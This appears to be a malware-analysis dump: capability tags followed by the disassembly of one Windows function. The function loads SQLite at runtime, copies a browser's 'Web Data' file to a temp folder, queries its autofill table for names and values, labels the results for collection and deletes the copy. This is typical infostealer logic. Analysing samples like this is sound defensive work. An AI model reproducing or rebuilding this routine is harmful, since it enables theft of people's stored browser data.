Function at 0x140004498
Capabilities:
Check if file exists
Copy file
Create directory
Delete directory
Delete file
Get common file path
Get file attributes
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x498]
sub rsp, 0x598
mov rdi, rdx
mov r14, rcx
add rcx, 0x90
cmp qword [rcx + 0x18], 8
jb 0x1400044cf
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
lea rdx, str.sqlite3_open
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x4f8], rax
lea rdx, str.sqlite3_prepare_v2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
lea rdx, str.sqlite3_step
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x50], rax
lea rdx, str.sqlite3_column_text
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x40], rax
lea rdx, str.sqlite3_column_blob
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.sqlite3_column_int
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.sqlite3_column_bytes
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.sqlite3_close
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, str.sqlite3_free
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.sqlite3_finalize
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov rax, qword [rdi + 0x10]
movabs rsi, 0x7ffffffffffffffe
mov rcx, rsi
sub rcx, rax
cmp rcx, 9
jb 0x140004b2c
mov r9, rdi
cmp qword [rdi + 0x18], 8
jb 0x1400045bb
mov r9, qword [rdi]
mov qword [rsp + 0x30], 9
lea rcx, str.Web_Data
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x30]
call fcn.140006f04
nop
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 8
cmovae rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400048c6
test al, 0x10
jne 0x1400048c6
lea rcx, [rbp - 0x80]
call fcn.140001afc
mov rbx, rax
lea rdx, [rbp + 0x290]
mov ecx, 0xff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
mov qword [rsp + 0x60], rax
movdqa xmm0, xmmword [0x1400409a0]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], ax
lea rdx, [rbp + 0x290]
lea rcx, [rsp + 0x60]
call fcn.1400067f4
nop
mov r8, rbx
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140006ad8
nop
lea rcx, [rsp + 0x60]
call fcn.140006790
nop
lea rcx, [rbp - 0x80]
call fcn.140006790
and qword [rbp + 0x10], 0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x10]
call fcn.140006870
nop
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x70]
call fcn.140001afc
mov rbx, rax
mov rcx, qword [rsp + 0x50]
sub rsi, rcx
cmp rsi, 1
jb 0x140004b26
lea r9, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae r9, qword [rsp + 0x40]
mov qword [rsp + 0x30], 1
lea rax, [0x14003f3e8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x60]
call fcn.140006f04
nop
mov r8, rbx
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140006ad8
mov rbx, rax
lea rax, [rsp + 0x40]
cmp rax, rbx
je 0x140004748
lea rcx, [rsp + 0x40]
call fcn.140006790
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x50], xmm1
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 7
mov word [rbx], ax
lea rcx, [rbp - 0x80]
call fcn.140006790
nop
lea rcx, [rsp + 0x60]
call fcn.140006790
nop
lea rcx, [rbp + 0x70]
call fcn.140006790
lea rax, [rbp - 0x80]
mov qword [rbp - 0x60], rax
xor ebx, ebx
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140006870
nop
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.140006870
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rdx, qword [rbp - 0x80]
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rcx, qword [rsp + 0x60]
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rsp + 0x60]
call fcn.140006790
lea rcx, [rbp - 0x80]
call fcn.140006790
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rdx, qword [rsp + 0x40]
mov esi, 0x100
mov r8d, esi
lea rcx, [rbp + 0x90]
call fcn.140015e3c
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x50]
call fcn.1400010d4
nop
mov rdx, rdi
cmp qword [rdi + 0x18], 8
jb 0x140004828
mov rdx, qword [rdi]
mov r8, rsi
lea rcx, [rbp + 0x190]
call fcn.140015e3c
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x30]
call fcn.1400010d4
nop
lea rdx, [rbp + 0x4f0]
mov rsi, qword [rbp + 0x50]
mov rcx, rsi
call qword [rbp + 0x4f8]
test eax, eax
jne 0x140004ab6
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x4e0]
or r8d, 0xffffffff
lea rdx, str.SELECT_name__value_FROM_autofill
mov rcx, qword [rbp + 0x4f0]
call r13
test eax, eax
je 0x1400048ee
mov rcx, qword [rbp + 0x4e0]
call r12
mov rcx, qword [rbp + 0x4f0]
call r15
nop
mov rcx, qword [rbp - 0x30]
call fcn.14000f0f0
nop
mov rcx, rsi
call fcn.14000f0f0
nop
lea rcx, [rbp + 0x10]
call fcn.140006790
nop
lea rcx, [rsp + 0x40]
call fcn.140006790
nop
lea rcx, [rbp + 0x30]
call fcn.140006790
nop
mov rcx, rdi
call fcn.140006790
xor eax, eax
add rsp, 0x598
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rax, [rbp - 0x10]
mov qword [rbp + 0x4f8], rax
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x10]
call fcn.140001184
mov rbx, rax
add r14, 0x30
lea r8, str.SPLIT_BROWSER__AUTOFILLS
lea rdx, [rbp]
mov rcx, r14
call fcn.1400013a8
nop
mov r8, rbx
lea rdx, [rbp - 0x60]
mov rcx, rax
call fcn.140001218
nop
lea r8, str.____
lea rdx, [rbp - 0x20]
mov rcx, rax
call fcn.1400013a8
mov rdx, rax
mov rcx, r14
call fcn.1400014b4
nop
mov rcx, qword [rbp - 0x60]
call fcn.14000f0f0
nop
mov rcx, qword [rbp]
call fcn.14000f0f0
mov rcx, qword [rbp + 0x4e0]
mov rbx, qword [rbp - 0x50]
call rbx
cmp eax, 0x64
jne 0x140004aa2
mov r13, qword [rbp - 0x40]
xor edx, edx
mov rcx, qword [rbp + 0x4e0]
call r13
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.1400010d4
nop
lea rdx, str.NAME:
lea rcx, [rbp - 0x20]
call fcn.1400010d4
nop
lea rdx, str._nVALUE:
lea rcx, [rbp - 0x50]
call fcn.1400010d4
nop
lea rdx, [0x14003f6c4]
lea rcx, [rbp - 0x40]
call fcn.1400010d4
nop
mov edx, 1
mov rcx, qword [rbp + 0x4e0]
call r13
mov rdx, rax
lea rcx, [rbp - 0x60]
call fcn.1400010d4
nop
lea rdx, [rbp - 0x20]
lea rcx, [rbp]
call fcn.140001184
mov rdx, rax
mov rcx, r14
call fcn.140001318
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x60]
call fcn.140001184
mov rdx, rax
mov rcx, r14
call fcn.140001318
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x70]
call fcn.140001184
mov rdx, rax
mov rcx, r14
call fcn.140001318
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x80]
call fcn.140001184
mov rdx, rax
mov rcx, r14
call fcn.140001318
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.140001184
mov rdx, rax
mov rcx, r14
call fcn.140001318
nop
mov rcx, qword [rbp - 0x60]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x40]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x50]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x20]
call fcn.14000f0f0
nop
mov rcx, qword [rbp - 0x10]
call fcn.14000f0f0
mov rcx, qword [rbp + 0x4e0]
call rbx
cmp eax, 0x64
je 0x14000497d
mov rcx, qword [rbp + 0x4e0]
call r12
mov rcx, qword [rbp + 0x4f0]
call r15
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
nop
mov rcx, qword [rbp - 0x30]
call fcn.14000f0f0
nop
mov rcx, rsi
call fcn.14000f0f0
nop
lea rcx, [rbp + 0x10]
call fcn.140006790
nop
lea rcx, [rsp + 0x40]
call fcn.140006790
nop
lea rcx, [rbp + 0x30]
call fcn.140006790
nop
mov rcx, rdi
call fcn.140006790
mov eax, 1
jmp 0x1400048da
call fcn.140001740
nop
call fcn.140001740
int3